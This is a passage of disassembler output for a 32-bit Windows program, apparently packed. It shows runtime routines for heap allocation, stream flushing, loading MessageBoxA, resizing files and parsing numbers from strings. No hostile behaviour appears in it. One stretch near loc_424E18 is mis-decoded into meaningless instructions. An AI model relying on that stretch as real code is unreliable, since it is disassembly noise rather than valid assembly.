		add	eax, [ebp+arg_28]
		mov	dword_442FC8, eax
		jns	short loc_424B75
		add	eax, 5265C00h
		dec	ecx
		mov	dword_442FC8, eax
		jmp	short loc_424B86
; ---------------------------------------------------------------------------


loc_424B75:				; CODE XREF: sub_424A56+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424B8C
		sub	eax, edx
		inc	ecx
		mov	dword_442FC8, eax


loc_424B86:				; CODE XREF: sub_424A56+11Dj
		mov	dword_442FC4, ecx


loc_424B8C:				; CODE XREF: sub_424A56+126j
		mov	dword_442FC0, ebx


loc_424B92:				; CODE XREF: sub_424A56+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B96	proc near		; CODE XREF: sub_422563+22p
					; sub_422563+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_424BB6
		test	esi, esi
		jnz	short loc_424BB0
		push	1
		pop	esi


loc_424BB0:				; CODE XREF: sub_424B96+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424BB6:				; CODE XREF: sub_424B96+11j
					; sub_424B96+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424BE7
		cmp	ebx, dword_44255C
		ja	short loc_424BD2
		push	ebx
		call	sub_41E6FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424BFD


loc_424BD2:				; CODE XREF: sub_424B96+2Dj
		push	esi
		push	8
		push	dword_4E2B80
		call	dword_427148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424C09


loc_424BE7:				; CODE XREF: sub_424B96+25j
		cmp	dword_4E1578, 0
		jz	short loc_424C09
		push	esi
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jz	short loc_424C0F
		jmp	short loc_424BB6
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B96+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_41BC40
		add	esp, 0Ch


loc_424C09:				; CODE XREF: sub_424B96+4Fj
					; sub_424B96+58j
		mov	eax, edi


loc_424C0B:				; CODE XREF: sub_424B96+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424C0F:				; CODE XREF: sub_424B96+63j
		xor	eax, eax
		jmp	short loc_424C0B
sub_424B96	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422608


loc_424C13:				; CODE XREF: sub_422608+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4E2940, esi
		jle	short loc_424C66


loc_424C22:				; CODE XREF: sub_422608+265Cj
		mov	eax, dword_4E1924
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424C5D
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424C41
		push	eax
		call	sub_41B90B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424C41
		inc	edi


loc_424C41:				; CODE XREF: sub_422608+262Aj
					; sub_422608+2636j
		cmp	esi, 14h
		jl	short loc_424C5D
		mov	eax, dword_4E1924
		push	dword ptr [eax+esi*4]
		call	sub_41B961
		mov	eax, dword_4E1924
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424C5D:				; CODE XREF: sub_422608+2624j
					; sub_422608+263Cj
		inc	esi
		cmp	esi, dword_4E2940
		jl	short loc_424C22


loc_424C66:				; CODE XREF: sub_422608+2618j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_422608

; =============== S U B	R O U T	I N E =======================================



sub_424C6B	proc near		; CODE XREF: .nsp0:00422DB9p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424C7C
		add	esp, 0Ch
		retn
sub_424C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C7C	proc near		; CODE XREF: sub_424C6B+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4E2A61[eax], cl
		jnz	short loc_424CA9
		cmp	[esp+arg_4], 0
		jz	short loc_424CA2
		movzx	eax, word_44256A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424CA4
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424C7C+16j
		xor	eax, eax


loc_424CA4:				; CODE XREF: sub_424C7C+24j
		test	eax, eax
		jnz	short loc_424CA9
		retn
; ---------------------------------------------------------------------------


loc_424CA9:				; CODE XREF: sub_424C7C+Fj
					; sub_424C7C+2Aj
		push	1
		pop	eax
		retn
sub_424C7C	endp

; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E17DC, ebx
		push	esi
		push	edi
		jnz	short loc_424CFC
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424D32
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_4270BC
		test	eax, eax
		mov	dword_4E17DC, eax
		jz	short loc_424D32
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_4270BC
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4E17E0, eax
		call	esi ; dword_4270BC
		mov	dword_4E17E4, eax


loc_424CFC:				; CODE XREF: .nsp0:00424CB8j
		mov	eax, dword_4E17E0
		test	eax, eax
		jz	short loc_424D1B
		call	eax ; dword_4E17E0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424D1B
		mov	eax, dword_4E17E4
		test	eax, eax
		jz	short loc_424D1B
		push	ebx
		call	eax ; dword_4E17E4
		mov	ebx, eax


loc_424D1B:				; CODE XREF: .nsp0:00424D03j
					; .nsp0:00424D0Bj ...
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	dword ptr [esp+18h]
		push	ebx
		call	dword_4E17DC	; MessageBoxA


loc_424D2E:				; CODE XREF: .nsp0:00424D34j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D32:				; CODE XREF: .nsp0:00424CC9j
					; .nsp0:00424CE0j
		xor	eax, eax
		jmp	short loc_424D2E
; ---------------------------------------------------------------------------


loc_424D36:				; CODE XREF: sub_423896+271p
		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C1D0
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4E1920
		jnb	loc_424E6B
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1820[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_424E6B
		push	1
		push	esi
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_424E75
		push	2
		push	esi
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_424E75
		push	edi
		mov	edi, [ebp+0Ch]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424E18
		push	1000h
		lea	eax, [ebp-1000h]
		push	esi
		push	eax
		call	sub_41BC40
		push	8000h
		push	ebx
		call	sub_425970
		add	esp, 14h
		mov	[ebp+0Ch], eax


loc_424DCC:				; CODE XREF: .nsp0:00424DF3j
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424DD7
		mov	eax, edi


loc_424DD7:				; CODE XREF: .nsp0:00424DD3j
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424DF5
		sub	edi, eax
		test	edi, edi
		jle	short loc_424E0B
		jmp	short loc_424DCC
; ---------------------------------------------------------------------------


loc_424DF5:				; CODE XREF: .nsp0:00424DEBj
		cmp	dword_4E14FC, 5
		jnz	short loc_424E08
		mov	dword_4E14F8, 0Dh


loc_424E08:				; CODE XREF: .nsp0:00424DFCj
		or	esi, 0FFFFFFFFh


loc_424E0B:				; CODE XREF: .nsp0:00424DF1j
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_425970
		pop	ecx
		pop	ecx
		jmp	short loc_424E58
; ---------------------------------------------------------------------------


loc_424E18:				; CODE XREF: .nsp0:00424DA7j
		jge	short loc_424E58
		push	0
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_42261C
		push	ebx
		call	sub_4237BE
		add	esp, 10h
		push	eax
		call	near ptr 0B40000h
		sub	[ebx+1BDEF7F0h], cl
		div	bh
		fimul	word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+15h]
		mov	dword_4E14F8, 0Dh
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4E14FC, eax


loc_424E58:				; CODE XREF: .nsp0:00424E16j
					; .nsp0:loc_424E18j
		push	0
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_424E78
; ---------------------------------------------------------------------------


loc_424E6B:				; CODE XREF: .nsp0:00424D50j
					; .nsp0:00424D6Cj
		mov	dword_4E14F8, 9


loc_424E75:				; CODE XREF: .nsp0:00424D84j
					; .nsp0:00424D99j
		or	eax, 0FFFFFFFFh


loc_424E78:				; CODE XREF: .nsp0:00424E69j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424E7C	proc near		; CODE XREF: sub_42402F+2Bp
					; sub_42402F+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_424E92
		cmp	ecx, esi
		jnb	short loc_424E95


loc_424E92:				; CODE XREF: sub_424E7C+10j
		push	1
		pop	eax


loc_424E95:				; CODE XREF: sub_424E7C+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_424E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424E9D	proc near		; CODE XREF: sub_424F56+40p
					; sub_424F56+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424ECF
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424ECF
		inc	dword ptr [esi+8]


loc_424ECF:				; CODE XREF: sub_424E9D+19j
					; sub_424E9D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424EE7
		inc	dword ptr [esi+8]


loc_424EE7:				; CODE XREF: sub_424E9D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_424E7C
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_424E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424EFB	proc near		; CODE XREF: sub_424F56+30p
					; sub_424F56+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_424EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F29	proc near		; CODE XREF: sub_4254EE+1C8p
					; sub_4259E6+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_424F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F56	proc near		; CODE XREF: sub_42501D+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_424FCA
		push	edi
		mov	[ebp+arg_8], eax


loc_424F7D:				; CODE XREF: sub_424F56+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_424EFB
		push	ebx
		call	sub_424EFB
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424E9D
		push	ebx
		call	sub_424EFB
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424E9D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_424F7D
		xor	edx, edx
		pop	edi


loc_424FCA:				; CODE XREF: sub_424F56+21j
					; sub_424F56+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_424FF7
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_424FCA
; ---------------------------------------------------------------------------


loc_424FF7:				; CODE XREF: sub_424F56+77j
		mov	esi, 8000h


loc_424FFC:				; CODE XREF: sub_424F56+B9j
		test	[ebx+8], esi
		jnz	short loc_425011
		push	ebx
		call	sub_424EFB
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_424FFC
; ---------------------------------------------------------------------------


loc_425011:				; CODE XREF: sub_424F56+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_424F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42501D	proc near		; CODE XREF: sub_424378+17p
					; sub_4243A5+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_425058:				; CODE XREF: sub_42501D+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_42506E
		cmp	cl, 9
		jz	short loc_42506E
		cmp	cl, 0Ah
		jz	short loc_42506E
		cmp	cl, 0Dh
		jnz	short loc_425071


loc_42506E:				; CODE XREF: sub_42501D+40j
					; sub_42501D+45j ...
		inc	edi
		jmp	short loc_425058
; ---------------------------------------------------------------------------


loc_425071:				; CODE XREF: sub_42501D+4Fj
		push	4
		pop	esi


loc_425074:				; CODE XREF: sub_42501D+AEj
					; sub_42501D+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4252F7	; default
					; jumptable 00425080 case 10
		jmp	off_4254BE[eax*4] ; switch jump


loc_425087:				; DATA XREF: .nsp0:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 0
		jl	short loc_425098
		cmp	bl, 39h
		jg	short loc_425098


loc_425091:				; CODE XREF: sub_42501D+C4j
					; sub_42501D+118j
		push	3
		jmp	loc_4252B5
; ---------------------------------------------------------------------------


loc_425098:				; CODE XREF: sub_42501D+6Dj
					; sub_42501D+72j
		cmp	bl, byte_442770
		jnz	short loc_4250A7


loc_4250A0:				; CODE XREF: sub_42501D+124j
		push	5
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_4250A7:				; CODE XREF: sub_42501D+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4250CD
		dec	eax
		dec	eax
		jz	short loc_4250C1
		sub	eax, 3
		jnz	loc_425390
		jmp	loc_425150
; ---------------------------------------------------------------------------


loc_4250C1:				; CODE XREF: sub_42501D+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425074
; ---------------------------------------------------------------------------


loc_4250CD:				; CODE XREF: sub_42501D+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425074
; ---------------------------------------------------------------------------


loc_4250D6:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4250E3
		cmp	bl, 39h
		jle	short loc_425091


loc_4250E3:				; CODE XREF: sub_42501D+BFj
		cmp	bl, byte_442770
		jz	loc_4251AB
		cmp	bl, 2Bh
		jz	short loc_425125
		cmp	bl, 2Dh
		jz	short loc_425125
		cmp	bl, 30h
		jz	short loc_425150


loc_4250FE:				; CODE XREF: sub_42501D+207j
		cmp	bl, 43h
		jle	loc_425390
		cmp	bl, 45h
		jle	short loc_42511E
		cmp	bl, 63h
		jle	loc_425390
		cmp	bl, 65h
		jg	loc_425390


loc_42511E:				; CODE XREF: sub_42501D+EDj
		push	6
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_425125:				; CODE XREF: sub_42501D+D5j
					; sub_42501D+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4252ED
; ---------------------------------------------------------------------------


loc_42512D:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 2
		jl	short loc_42513B
		cmp	bl, 39h
		jle	loc_425091


loc_42513B:				; CODE XREF: sub_42501D+113j
		cmp	bl, byte_442770
		jz	loc_4250A0
		cmp	bl, 30h
		jnz	loc_425305


loc_425150:				; CODE XREF: sub_42501D+9Fj
					; sub_42501D+DFj
		mov	eax, edx
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_425157:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		mov	[ebp+var_10], edx ; jumptable 00425080 case 3


loc_42515A:				; CODE XREF: sub_42501D+184j
		cmp	dword_44276C, edx
		jle	short loc_425173
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425181
; ---------------------------------------------------------------------------


loc_425173:				; CODE XREF: sub_42501D+143j
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425181:				; CODE XREF: sub_42501D+154j
		test	eax, eax
		jz	short loc_4251A3
		cmp	[ebp+var_4], 19h
		jnb	short loc_42519B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_42519B:				; CODE XREF: sub_42501D+16Cj
		inc	[ebp+var_8]


loc_42519E:				; CODE XREF: sub_42501D+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42515A
; ---------------------------------------------------------------------------


loc_4251A3:				; CODE XREF: sub_42501D+166j
		cmp	bl, byte_442770
		jnz	short loc_425212


loc_4251AB:				; CODE XREF: sub_42501D+CCj
		mov	eax, esi
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	[ebp+var_4], 0	; jumptable 00425080 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4251CB


loc_4251BE:				; CODE XREF: sub_42501D+1ACj
		cmp	bl, 30h
		jnz	short loc_4251CB
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4251BE
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42501D+19Fj
					; sub_42501D+1A4j ...
		cmp	dword_44276C, edx
		jle	short loc_4251E4
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4251F2
; ---------------------------------------------------------------------------


loc_4251E4:				; CODE XREF: sub_42501D+1B4j
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4251F2:				; CODE XREF: sub_42501D+1C5j
		test	eax, eax
		jz	short loc_425212
		cmp	[ebp+var_4], 19h
		jnb	short loc_42520D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_42520D:				; CODE XREF: sub_42501D+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4251CB
; ---------------------------------------------------------------------------


loc_425212:				; CODE XREF: sub_42501D+18Cj
					; sub_42501D+1D7j
		cmp	bl, 2Bh
		jz	loc_425125
		cmp	bl, 2Dh
		jz	loc_425125
		jmp	loc_4250FE
; ---------------------------------------------------------------------------


loc_425229:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	dword_44276C, edx ; jumptable 00425080 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425245
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		push	1


loc_425242:				; DATA XREF: .nsp0:0044041Co
		pop	edx
		jmp	short loc_425253
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_42501D+215j
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425253:				; CODE XREF: sub_42501D+226j
		test	eax, eax
		jz	loc_425305
		mov	eax, esi
		jmp	short loc_4252B6
; ---------------------------------------------------------------------------


loc_42525F:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		lea	ecx, [edi-2]	; jumptable 00425080 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42526F
		cmp	bl, 39h
		jle	short loc_4252B3


loc_42526F:				; CODE XREF: sub_42501D+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252EB
		dec	eax
		dec	eax
		jz	short loc_4252DF
		sub	eax, 3
		jnz	loc_425393


loc_425284:				; CODE XREF: sub_42501D+2A4j
		push	8
		jmp	short loc_4252ED
; ---------------------------------------------------------------------------


loc_425288:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		mov	[ebp+var_20], edx ; jumptable 00425080 case 8


loc_42528B:				; CODE XREF: sub_42501D+276j
		cmp	bl, 30h
		jnz	short loc_425295
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42528B
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_42501D+271j
		cmp	bl, 31h
		jl	loc_425390
		cmp	bl, 39h
		jg	loc_425390
		jmp	short loc_4252B3
; ---------------------------------------------------------------------------


loc_4252A9:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	bl, 31h		; jumptable 00425080 case 7
		jl	short loc_4252BC
		cmp	bl, 39h
		jg	short loc_4252BC


loc_4252B3:				; CODE XREF: sub_42501D+250j
					; sub_42501D+28Aj
		push	9


loc_4252B5:				; CODE XREF: sub_42501D+76j
		pop	eax


loc_4252B6:				; CODE XREF: sub_42501D+240j
		dec	edi
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252BC:				; CODE XREF: sub_42501D+28Fj
					; sub_42501D+294j
		cmp	bl, 30h
		jnz	short loc_425305
		jmp	short loc_425284
; ---------------------------------------------------------------------------


loc_4252C3:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		cmp	[ebp+arg_18], 0	; jumptable 00425080 case 11
		jz	short loc_4252F3
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4252EB
		dec	eax
		dec	eax
		jnz	loc_425393


loc_4252DF:				; CODE XREF: sub_42501D+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252EB:				; CODE XREF: sub_42501D+258j
					; sub_42501D+2B8j
		push	7


loc_4252ED:				; CODE XREF: sub_42501D+85j
					; sub_42501D+103j ...
		pop	eax
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_4252F3:				; CODE XREF: sub_42501D+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4252F7:				; CODE XREF: sub_42501D+5Dj
					; sub_42501D+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425080 case 10
		jz	loc_425395
		jmp	loc_425074
; ---------------------------------------------------------------------------


loc_425305:				; CODE XREF: sub_42501D+12Dj
					; sub_42501D+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425395
; ---------------------------------------------------------------------------


loc_42530D:				; CODE XREF: sub_42501D+63j
					; DATA XREF: .nsp0:off_4254BEo
		mov	[ebp+var_20], 1	; jumptable 00425080 case 9
		xor	esi, esi


loc_425316:				; CODE XREF: sub_42501D+339j
		cmp	dword_44276C, 1
		jle	short loc_42532E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_42533D
; ---------------------------------------------------------------------------


loc_42532E:				; CODE XREF: sub_42501D+300j
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42533D:				; CODE XREF: sub_42501D+30Fj
		test	eax, eax
		jz	short loc_42535D
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425358
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425316
; ---------------------------------------------------------------------------


loc_425358:				; CODE XREF: sub_42501D+334j
		mov	esi, 1451h


loc_42535D:				; CODE XREF: sub_42501D+322j
		mov	[ebp+var_1C], esi


loc_425360:				; CODE XREF: sub_42501D+371j
		cmp	dword_44276C, 1
		jle	short loc_425378
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_425387
; ---------------------------------------------------------------------------


loc_425378:				; CODE XREF: sub_42501D+34Aj
		mov	ecx, off_442560
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425387:				; CODE XREF: sub_42501D+359j
		test	eax, eax
		jz	short loc_425390
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425360
; ---------------------------------------------------------------------------


loc_425390:				; CODE XREF: sub_42501D+99j
					; sub_42501D+E4j ...
		dec	edi
		jmp	short loc_425395
; ---------------------------------------------------------------------------


loc_425393:				; CODE XREF: sub_42501D+261j
					; sub_42501D+2BCj
		mov	edi, ecx


loc_425395:				; CODE XREF: sub_42501D+2DDj
					; sub_42501D+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_42547D
		push	18h
		pop	eax
